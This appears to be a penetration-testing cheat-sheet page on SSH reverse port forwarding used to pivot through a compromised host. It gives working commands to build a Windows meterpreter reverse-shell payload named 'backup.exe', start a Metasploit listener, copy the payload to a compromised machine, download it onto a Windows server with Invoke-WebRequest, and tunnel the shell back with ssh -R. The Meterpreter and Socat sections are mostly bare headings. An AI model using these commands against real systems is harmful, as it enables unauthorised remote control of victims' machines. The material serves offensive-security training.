githubEdit

reverse-port-forwarding

SSH - Remote/Reverse port forwarding

SSH client - DropBear

Create a msf payload

msfvenom -p windows/x64/meterpreter/reverse_https lhost=<Internal_IPofPivotHost> lport=8080 -f exe -o backup.exe

Starting multi/handler listener

use multi/handler; Set lhost 0.0.0.0; Set payload windows/x64/meterpreter/reverse_https; Set lport 8000 

Transfer the payload to the pivot host

scp backup.exe ubuntu@<compromised_Target>:~/

Transfer backup.exe to the windows server from compromised host

python3 -m http.server 8123

Download from windows

Invoke-WebRequest -Uri "http://172.16.5.129:8123/backup.exe" -OutFile "C:\backupscript.exe"

Remote port forwarding

Using SSH-R

ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<compromised_host_ip> -vN

Meterpreter - Reverse port forwarding

Reverse port forwarding rules

Start MSF multi/handler

Generating windows payload

Execute payload on windows host

Get meterpreter session


Socat - Reverse port forwarding

In the machine, all traffic on 81 will be forwarded to 192.168.1.10:80

Last updated